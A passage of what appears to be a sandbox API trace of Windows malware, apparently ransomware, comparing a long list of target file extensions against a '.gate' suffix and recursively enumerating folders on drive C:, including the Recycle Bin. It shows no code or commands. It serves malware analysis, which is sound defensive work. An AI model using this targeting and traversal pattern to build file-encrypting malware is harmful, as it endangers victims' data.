(lpString1=".mpg", lpString2="gate") returned -1 [0272.316] lstrlenW (lpString=".mpv") returned 4 [0272.316] lstrcmpiW (lpString1=".mpv", lpString2="gate") returned -1 [0272.316] lstrlenW (lpString=".mrw") returned 4 [0272.316] lstrcmpiW (lpString1=".mrw", lpString2="gate") returned -1 [0272.316] lstrlenW (lpString=".msg") returned 4 [0272.316] lstrcmpiW (lpString1=".msg", lpString2="gate") returned -1 [0272.316] lstrlenW (lpString=".mxl") returned 4 [0272.316] lstrcmpiW (lpString1=".mxl", lpString2="gate") returned -1 [0272.316] lstrlenW (lpString=".myd") returned 4 [0272.316] lstrcmpiW (lpString1=".myd", lpString2="gate") returned -1 [0272.316] lstrlenW (lpString=".myi") returned 4 [0272.317] lstrcmpiW (lpString1=".myi", lpString2="gate") returned -1 [0272.317] lstrlenW (lpString=".nef") returned 4 [0272.317] lstrcmpiW (lpString1=".nef", lpString2="gate") returned -1 [0272.317] lstrlenW (lpString=".nrw") returned 4 [0272.317] lstrcmpiW (lpString1=".nrw", lpString2="gate") returned -1 [0272.317] lstrlenW (lpString=".obj") returned 4 [0272.317] lstrcmpiW (lpString1=".obj", lpString2="gate") returned -1 [0272.317] lstrlenW (lpString=".odb") returned 4 [0272.317] lstrcmpiW (lpString1=".odb", lpString2="gate") returned -1 [0272.317] lstrlenW (lpString=".odc") returned 4 [0272.317] lstrcmpiW (lpString1=".odc", lpString2="gate") returned -1 [0272.317] lstrlenW (lpString=".odm") returned 4 [0272.317] lstrcmpiW (lpString1=".odm", lpString2="gate") returned -1 [0272.317] lstrlenW (lpString=".odp") returned 4 [0272.317] lstrcmpiW (lpString1=".odp", lpString2="gate") returned -1 [0272.317] lstrlenW (lpString=".ods") returned 4 [0272.317] lstrcmpiW (lpString1=".ods", lpString2="gate") returned -1 [0272.317] lstrlenW (lpString=".oft") returned 4 [0272.317] lstrcmpiW (lpString1=".oft", lpString2="gate") returned -1 [0272.317] lstrlenW (lpString=".one") returned 4 [0272.317] lstrcmpiW (lpString1=".one", lpString2="gate") returned -1 [0272.317] lstrlenW (lpString=".onepkg") returned 7 [0272.317] lstrcmpiW (lpString1=".onepkg", lpString2="m].gate") returned -1 [0272.317] lstrlenW (lpString=".onetoc2") returned 8 [0272.317] lstrcmpiW (lpString1=".onetoc2", lpString2="om].gate") returned -1 [0272.317] lstrlenW (lpString=".opt") returned 4 [0272.317] lstrcmpiW (lpString1=".opt", lpString2="gate") returned -1 [0272.317] lstrlenW (lpString=".oqy") returned 4 [0272.317] lstrcmpiW (lpString1=".oqy", lpString2="gate") returned -1 [0272.317] lstrlenW (lpString=".orf") returned 4 [0272.318] lstrcmpiW (lpString1=".orf", lpString2="gate") returned -1 [0272.318] lstrlenW (lpString=".p12") returned 4 [0272.318] lstrcmpiW (lpString1=".p12", lpString2="gate") returned -1 [0272.318] lstrlenW (lpString=".p7b") returned 4 [0272.318] lstrcmpiW (lpString1=".p7b", lpString2="gate") returned -1 [0272.318] lstrlenW (lpString=".p7c") returned 4 [0272.318] lstrcmpiW (lpString1=".p7c", lpString2="gate") returned -1 [0272.318] lstrlenW (lpString=".pam") returned 4 [0272.318] lstrcmpiW (lpString1=".pam", lpString2="gate") returned -1 [0272.318] lstrlenW (lpString=".pbm") returned 4 [0272.318] lstrcmpiW (lpString1=".pbm", lpString2="gate") returned -1 [0272.318] lstrlenW (lpString=".pct") returned 4 [0272.318] lstrcmpiW (lpString1=".pct", lpString2="gate") returned -1 [0272.318] lstrlenW (lpString=".pcx") returned 4 [0272.318] lstrcmpiW (lpString1=".pcx", lpString2="gate") returned -1 [0272.318] lstrlenW (lpString=".pdd") returned 4 [0272.318] lstrcmpiW (lpString1=".pdd", lpString2="gate") returned -1 [0272.318] lstrlenW (lpString=".pdf") returned 4 [0272.318] lstrcmpiW (lpString1=".pdf", lpString2="gate") returned -1 [0272.318] lstrlenW (lpString=".pdp") returned 4 [0272.318] lstrcmpiW (lpString1=".pdp", lpString2="gate") returned -1 [0272.318] lstrlenW (lpString=".pef") returned 4 [0272.318] lstrcmpiW (lpString1=".pef", lpString2="gate") returned -1 [0272.318] lstrlenW (lpString=".pem") returned 4 [0272.318] lstrcmpiW (lpString1=".pem", lpString2="gate") returned -1 [0272.318] lstrlenW (lpString=".pff") returned 4 [0272.318] lstrcmpiW (lpString1=".pff", lpString2="gate") returned -1 [0272.318] lstrlenW (lpString=".pfm") returned 4 [0272.318] lstrcmpiW (lpString1=".pfm", lpString2="gate") returned -1 [0272.319] lstrlenW (lpString=".pfx") returned 4 [0272.319] lstrcmpiW (lpString1=".pfx", lpString2="gate") returned -1 [0272.319] lstrlenW (lpString=".pgm") returned 4 [0272.319] lstrcmpiW (lpString1=".pgm", lpString2="gate") returned -1 [0272.319] lstrlenW (lpString=".php") returned 4 [0272.319] lstrcmpiW (lpString1=".php", lpString2="gate") returned -1 [0272.319] lstrlenW (lpString=".php3") returned 5 [0272.319] lstrcmpiW (lpString1=".php3", lpString2=".gate") returned 1 [0272.319] lstrlenW (lpString=".php4") returned 5 [0272.319] lstrcmpiW (lpString1=".php4", lpString2=".gate") returned 1 [0272.319] lstrlenW (lpString=".php5") returned 5 [0272.319] lstrcmpiW (lpString1=".php5", lpString2=".gate") returned 1 [0272.319] lstrlenW (lpString=".phtml") returned 6 [0272.319] lstrcmpiW (lpString1=".phtml", lpString2="].gate") returned -1 [0272.319] lstrlenW (lpString=".pict") returned 5 [0272.319] lstrcmpiW (lpString1=".pict", lpString2=".gate") returned 1 [0272.319] lstrlenW (lpString=".pl") returned 3 [0272.319] lstrcmpiW (lpString1=".pl", lpString2="ate") returned -1 [0272.319] lstrlenW (lpString=".pls") returned 4 [0272.319] lstrcmpiW (lpString1=".pls", lpString2="gate") returned -1 [0272.319] lstrlenW (lpString=".pm") returned 3 [0272.319] lstrcmpiW (lpString1=".pm", lpString2="ate") returned -1 [0272.319] lstrlenW (lpString=".png") returned 4 [0272.319] lstrcmpiW (lpString1=".png", lpString2="gate") returned -1 [0272.319] lstrlenW (lpString=".pnm") returned 4 [0272.319] lstrcmpiW (lpString1=".pnm", lpString2="gate") returned -1 [0272.319] lstrlenW (lpString=".pot") returned 4 [0272.319] lstrcmpiW (lpString1=".pot", lpString2="gate") returned -1 [0272.319] lstrlenW (lpString=".potm") returned 5 [0272.319] lstrcmpiW (lpString1=".potm", lpString2=".gate") returned 1 [0272.319] lstrlenW (lpString=".potx") returned 5 [0272.320] lstrcmpiW (lpString1=".potx", lpString2=".gate") returned 1 [0272.320] lstrlenW (lpString=".ppa") returned 4 [0272.320] lstrcmpiW (lpString1=".ppa", lpString2="gate") returned -1 [0272.320] lstrlenW (lpString=".ppam") returned 5 [0272.320] lstrcmpiW (lpString1=".ppam", lpString2=".gate") returned 1 [0272.320] lstrlenW (lpString=".ppm") returned 4 [0272.320] lstrcmpiW (lpString1=".ppm", lpString2="gate") returned -1 [0272.320] lstrlenW (lpString=".pps") returned 4 [0272.320] lstrcmpiW (lpString1=".pps", lpString2="gate") returned -1 [0272.320] lstrlenW (lpString=".ppsm") returned 5 [0272.320] lstrcmpiW (lpString1=".ppsm", lpString2=".gate") returned 1 [0272.320] lstrlenW (lpString=".ppt") returned 4 [0272.320] lstrcmpiW (lpString1=".ppt", lpString2="gate") returned -1 [0272.320] lstrlenW (lpString=".pptm") returned 5 [0272.320] lstrcmpiW (lpString1=".pptm", lpString2=".gate") returned 1 [0272.320] lstrlenW (lpString=".pptx") returned 5 [0272.320] lstrcmpiW (lpString1=".pptx", lpString2=".gate") returned 1 [0272.320] lstrlenW (lpString=".prn") returned 4 [0272.320] lstrcmpiW (lpString1=".prn", lpString2="gate") returned -1 [0272.320] lstrlenW (lpString=".ps") returned 3 [0272.320] lstrcmpiW (lpString1=".ps", lpString2="ate") returned -1 [0272.320] lstrlenW (lpString=".psb") returned 4 [0272.320] lstrcmpiW (lpString1=".psb", lpString2="gate") returned -1 [0272.320] lstrlenW (lpString=".psd") returned 4 [0272.320] lstrcmpiW (lpString1=".psd", lpString2="gate") returned -1 [0272.320] lstrlenW (lpString=".pst") returned 4 [0272.320] lstrcmpiW (lpString1=".pst", lpString2="gate") returned -1 [0272.320] lstrlenW (lpString=".ptx") returned 4 [0272.320] lstrcmpiW (lpString1=".ptx", lpString2="gate") returned -1 [0272.320] lstrlenW (lpString=".pub") returned 4 [0272.320] lstrcmpiW (lpString1=".pub", lpString2="gate") returned -1 [0272.321] lstrlenW (lpString=".pwm") returned 4 [0272.321] lstrcmpiW (lpString1=".pwm", lpString2="gate") returned -1 [0272.321] FindNextFileW (in: hFindFile=0x77d768, lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 1 [0272.321] FindNextFileW (in: hFindFile=0x77d768, lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 1 [0272.321] FindNextFileW (in: hFindFile=0x77d768, lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 0 [0272.321] FindClose (in: hFindFile=0x77d768 | out: hFindFile=0x77d768) returned 1 [0272.322] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4521880 | out: hHeap=0x6e0000) returned 1 [0272.322] FindNextFileW (in: hFindFile=0x77d228, lpFindFileData=0x3c7fa7c | out: lpFindFileData=0x3c7fa7c) returned 1 [0272.322] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xfffe) returned 0x4521880 [0272.322] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\SafeOS\\*", lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 0x77d268 [0272.323] FindNextFileW (in: hFindFile=0x77d268, lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 1 [0272.323] FindNextFileW (in: hFindFile=0x77d268, lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 1 [0272.323] FindNextFileW (in: hFindFile=0x77d268, lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 1 [0272.323] FindNextFileW (in: hFindFile=0x77d268, lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 1 [0272.323] FindNextFileW (in: hFindFile=0x77d268, lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 1 [0272.323] FindNextFileW (in: hFindFile=0x77d268, lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 1 [0272.323] FindNextFileW (in: hFindFile=0x77d268, lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 0 [0272.323] FindClose (in: hFindFile=0x77d268 | out: hFindFile=0x77d268) returned 1 [0272.325] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4521880 | out: hHeap=0x6e0000) returned 1 [0272.325] FindNextFileW (in: hFindFile=0x77d228, lpFindFileData=0x3c7fa7c | out: lpFindFileData=0x3c7fa7c) returned 0 [0272.325] FindClose (in: hFindFile=0x77d228 | out: hFindFile=0x77d228) returned 1 [0272.325] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4510870 | out: hHeap=0x6e0000) returned 1 [0272.326] FindNextFileW (in: hFindFile=0x77d3e8, lpFindFileData=0x3c7fcf8 | out: lpFindFileData=0x3c7fcf8) returned 1 [0272.326] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xfffe) returned 0x4510870 [0272.327] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\*", lpFindFileData=0x3c7fa7c | out: lpFindFileData=0x3c7fa7c) returned 0x77d068 [0272.327] FindNextFileW (in: hFindFile=0x77d068, lpFindFileData=0x3c7fa7c | out: lpFindFileData=0x3c7fa7c) returned 1 [0272.327] FindNextFileW (in: hFindFile=0x77d068, lpFindFileData=0x3c7fa7c | out: lpFindFileData=0x3c7fa7c) returned 1 [0272.327] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xfffe) returned 0x4520878 [0272.327] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\*", lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 0xffffffff [0272.327] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4520878 | out: hHeap=0x6e0000) returned 1 [0272.327] FindNextFileW (in: hFindFile=0x77d068, lpFindFileData=0x3c7fa7c | out: lpFindFileData=0x3c7fa7c) returned 1 [0272.327] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xfffe) returned 0x4520878 [0272.327] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\*", lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 0x77d2e8 [0272.328] FindNextFileW (in: hFindFile=0x77d2e8, lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 1 [0272.328] FindNextFileW (in: hFindFile=0x77d2e8, lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 1 [0272.328] FindNextFileW (in: hFindFile=0x77d2e8, lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 1 [0272.328] FindNextFileW (in: hFindFile=0x77d2e8, lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 0 [0272.328] FindClose (in: hFindFile=0x77d2e8 | out: hFindFile=0x77d2e8) returned 1 [0272.328] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4520878 | out: hHeap=0x6e0000) returned 1 [0272.328] FindNextFileW (in: hFindFile=0x77d068, lpFindFileData=0x3c7fa7c | out: lpFindFileData=0x3c7fa7c) returned 0 [0272.328] FindClose (in: hFindFile=0x77d068 | out: hFindFile=0x77d068) returned 1 [0272.328] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4510870 | out: hHeap=0x6e0000) returned 1 [0272.329] FindNextFileW (in: hFindFile=0x77d3e8, lpFindFileData=0x3c7fcf8 | out: lpFindFileData=0x3c7fcf8) returned 1 [0272.329] FindNextFileW (in: hFindFile=0x77d3e8, lpFindFileData=0x3c7fcf8 | out: lpFindFileData=0x3c7fcf8) returned 1 [0272.329] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xfffe) returned 0x4510870 [0272.329] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\*", lpFindFileData=0x3c7fa7c | out: lpFindFileData=0x3c7fa7c) returned 0x77d668 [0272.336] FindNextFileW (in: hFindFile=0x77d668, lpFindFileData=0x3c7fa7c | out: lpFindFileData=0x3c7fa7c) returned 1 [0272.337] FindNextFileW (in: hFindFile=0x77d668, lpFindFileData=0x3c7fa7c | out: lpFindFileData=0x3c7fa7c) returned 1 [0272.337] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xfffe) returned 0x3f21c38 [0272.337] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1025\\*", lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 0x77d5e8 [0272.360] FindNextFileW (in: hFindFile=0x77d5e8, lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 1 [0272.360] FindNextFileW (in: hFindFile=0x77d5e8, lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 1 [0272.360] FindNextFileW (in: hFindFile=0x77d5e8, lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 1 [0272.360] FindNextFileW (in: hFindFile=0x77d5e8, lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 1 [0272.360] FindNextFileW (in: hFindFile=0x77d5e8, lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 0 [0272.360] FindClose (in: hFindFile=0x77d5e8 | out: hFindFile=0x77d5e8) returned 1 [0272.360] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x3f21c38 | out: hHeap=0x6e0000) returned 1 [0272.360] FindNextFileW (in: hFindFile=0x77d668, lpFindFileData=0x3c7fa7c | out: lpFindFileData=0x3c7fa7c) returned 1 [0272.360] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xfffe) returned 0x3f21c38 [0272.360] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1028\\*", lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 0x77d6a8 [0272.362] FindNextFileW (in: hFindFile=0x77d6a8, lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 1 [0272.362] FindNextFileW (in: hFindFile=0x77d6a8, lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 1 [0272.362] FindNextFileW (in: hFindFile=0x77d6a8, lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 1 [0272.363] FindNextFileW (in: hFindFile=0x77d6a8, lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 1 [0272.363] FindNextFileW (in: hFindFile=0x77d6a8, lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 0 [0272.363] FindClose (in: hFindFile=0x77d6a8 | out: hFindFile=0x77d6a8) returned 1 [0272.363] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x3f21c38 | out: hHeap=0x6e0000) returned 1 [0272.363] FindNextFileW (in: hFindFile=0x77d668, lpFindFileData=0x3c7fa7c | out: lpFindFileData=0x3c7fa7c) returned 1 [0272.363] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xfffe) returned 0x3f21c38 [0272.363] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1029\\*", lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 0x77d1e8 [0272.442] FindNextFileW (in: hFindFile=0x77d1e8, lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 1 [0272.442] FindNextFileW (in: hFindFile=0x77d1e8, lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 1 [0272.442] FindNextFileW (in: hFindFile=0x77d1e8, lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 1 [0272.442] FindNextFileW (in: hFindFile=0x77d1e8, lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 1 [0272.442] FindNextFileW (in: hFindFile=0x77d1e8, lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 0 [0272.442] FindClose (in: hFindFile=0x77d1e8 | out: hFindFile=0x77d1e8) returned 1 [0272.443] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x3f21c38 | out: hHeap=0x6e0000) returned 1 [0272.443] FindNextFileW (in: hFindFile=0x77d668, lpFindFileData=0x3c7fa7c | out: lpFindFileData=0x3c7fa7c) returned 1 [0272.443] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xfffe) returned 0x3f21c38 [0272.443] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1030\\*", lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 0x77d428 [0272.444] FindNextFileW (in: hFindFile=0x77d428, lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 1 [0272.444] FindNextFileW (in: hFindFile=0x77d428, lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 1 [0272.444] FindNextFileW (in: hFindFile=0x77d428, lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 1 [0272.444] FindNextFileW (in: hFindFile=0x77d428, lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 1 [0272.445] FindNextFileW (in: hFindFile=0x77d428, lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 0 [0272.445] FindClose (in: hFindFile=0x77d428 | out: hFindFile=0x77d428) returned 1 [0272.445] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x3f21c38 | out: hHeap=0x6e0000) returned 1 [0272.445] FindNextFileW (in: hFindFile=0x77d668, lpFindFileData=0x3c7fa7c | out: lpFindFileData=0x3c7fa7c) returned 1 [0272.446] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xfffe) returned 0x3f21c38 [0272.446] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1031\\*", lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 0x77cfe8 [0272.447] FindNextFileW (in: hFindFile=0x77cfe8, lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 1 [0272.447] FindNextFileW (in: hFindFile=0x77cfe8, lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 1 [0272.447] FindNextFileW (in: hFindFile=0x77cfe8, lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 1 [0272.447] FindNextFileW (in: hFindFile=0x77cfe8, lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 1 [0272.447] FindNextFileW (in: hFindFile=0x77cfe8, lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 0 [0272.447] FindClose (in: hFindFile=0x77cfe8 | out: hFindFile=0x77cfe8) returned 1 [0272.448] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x3f21c38 | out: hHeap=0x6e0000) returned 1 [0272.448] FindNextFileW (in: hFindFile=0x77d668, lpFindFileData=0x3c7fa7c | out: lpFindFileData=0x3c7fa7c) returned 1 [0272.448] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xfffe) returned 0x3f21c38 [0272.448] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1032\\*", lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 0x77d568 [0272.449] FindNextFileW (in: hFindFile=0x77d568, lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 1 [0272.449] FindNextFileW (in: hFindFile=0x77d568, lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 1 [0272.449] FindNextFileW (in: hFindFile=0x77d568, lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 1 [0272.449] FindNextFileW (in: hFindFile=0x77d568, lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 1 [0272.450] FindNextFileW (in: hFindFile=0x77d568, lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 0 [0272.450] FindClose (in: hFindFile=0x77d568 | out: hFindFile=0x77d568) returned 1 [0272.450] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x3f21c38 | out: hHeap=0x6e0000) returned 1 [0272.450] FindNextFileW (in: hFindFile=0x77d668, lpFindFileData=0x3c7fa7c | out: lpFindFileData=0x3c7fa7c) returned 1 [0272.451] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xfffe) returned 0x3f21c38 [0272.451] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1033\\*", lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 0x77d068 [0272.451] FindNextFileW (in: hFindFile=0x77d068, lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 1 [0272.451] FindNextFileW (in: hFindFile=0x77d068, lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 1 [0272.452] FindNextFileW (in: hFindFile=0x77d068, lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 1 [0272.452] FindNextFileW (in: hFindFile=0x77d068, lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 1 [0272.452] FindNextFileW (in: hFindFile=0x77d068, lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 0 [0272.452] FindClose (in: hFindFile=0x77d068 | out: hFindFile=0x77d068) returned 1 [0272.453] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x3f21c38 | out: hHeap=0x6e0000) returned 1 [0272.453] FindNextFileW (in: hFindFile=0x77d668, lpFindFileData=0x3c7fa7c | out: lpFindFileData=0x3c7fa7c) returned 1 [0272.453] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xfffe) returned 0x3f21c38 [0272.453] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1035\\*", lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 0x77d528 [0272.454] FindNextFileW (in: hFindFile=0x77d528, lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 1 [0272.454] FindNextFileW (in: hFindFile=0x77d528, lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 1 [0272.454] FindNextFileW (in: hFindFile=0x77d528, lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 1 [0272.466] FindNextFileW (in: hFindFile=0x77d528, lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 1 [0272.467] FindNextFileW (in: hFindFile=0x77d528, lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 0 [0272.469] FindClose (in: hFindFile=0x77d528 | out: hFindFile=0x77d528) returned 1 [0272.469] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x3f21c38 | out: hHeap=0x6e0000) returned 1 [0272.469] FindNextFileW (in: hFindFile=0x77d668, lpFindFileData=0x3c7fa7c | out: lpFindFileData=0x3c7fa7c) returned 1 [0272.469] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xfffe) returned 0x3f21c38 [0272.470] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1036\\*", lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 0x77d6e8 [0272.470] FindNextFileW (in: hFindFile=0x77d6e8, lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 1 [0272.470] FindNextFileW (in: hFindFile=0x77d6e8, lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 1 [0272.471] FindNextFileW (in: hFindFile=0x77d6e8, lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 1 [0272.471] FindNextFileW (in: hFindFile=0x77d6e8, lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 1 [0272.471] FindNextFileW (in: hFindFile=0x77d6e8, lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 0 [0272.471] FindClose (in: hFindFile=0x77d6e8 | out: hFindFile=0x77d6e8) returned 1 [0272.472] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x3f21c38 | out: hHeap=0x6e0000) returned 1 [0272.472] FindNextFileW (in: hFindFile=0x77d668, lpFindFileData=0x3c7fa7c | out: lpFindFileData=0x3c7fa7c) returned 1 [0272.472] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xfffe) returned 0x3f21c38 [0272.472] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1037\\*", lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 0x77d3a8 [0272.473] FindNextFileW (in: hFindFile=0x77d3a8, lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 1 [0272.473] FindNextFileW (in: hFindFile=0x77d3a8, lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 1 [0272.473] FindNextFileW (in: hFindFile=0x77d3a8, lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 1 [0272.473] FindNextFileW (in: hFindFile=0x77d3a8, lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 1 [0272.473] FindNextFileW (in: hFindFile=0x77d3a8, lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 0 [0272.473] FindClose (in: hFindFile=0x77d3a8 | out: hFindFile=0x77d3a8) returned 1 [0272.474] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x3f21c38 | out: hHeap=0x6e0000) returned 1 [0272.474] FindNextFileW (in: hFindFile=0x77d668, lpFindFileData=0x3c7fa7c | out: lpFindFileData=0x3c7fa7c) returned 1 [0272.474] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xfffe) returned 0x3f21c38 [0272.474] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1038\\*", lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 0x77d3a8 [0272.475] FindNextFileW (in: hFindFile=0x77d3a8, lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 1 [0272.475] FindNextFileW (in: hFindFile=0x77d3a8, lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 1 [0272.475] FindNextFileW (in: hFindFile=0x77d3a8, lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 1 [0272.475] FindNextFileW (in: hFindFile=0x77d3a8, lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 1 [0272.475] FindNextFileW (in: hFindFile=0x77d3a8, lpFindFileData=0x3c7f800 | out: lpFindFileData=0x3c7f800) returned 0 [0272.475] FindClose (in: hFindFile=0x77d3a8 | out: hFindFile=0x77d3a8) returned 1 [0272.476] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x3f21c38 | out: hHeap=0x6e0000) returned 1 [0272.476] FindNextFileW (in: hFindFile=0x77d668, lpFindFileData=0x3c7fa7c | out: lpFindFileData=0x3c7fa7c) returned 1 [0272.476] RtlAllocateHeap (HeapHandle=0x6e0000, 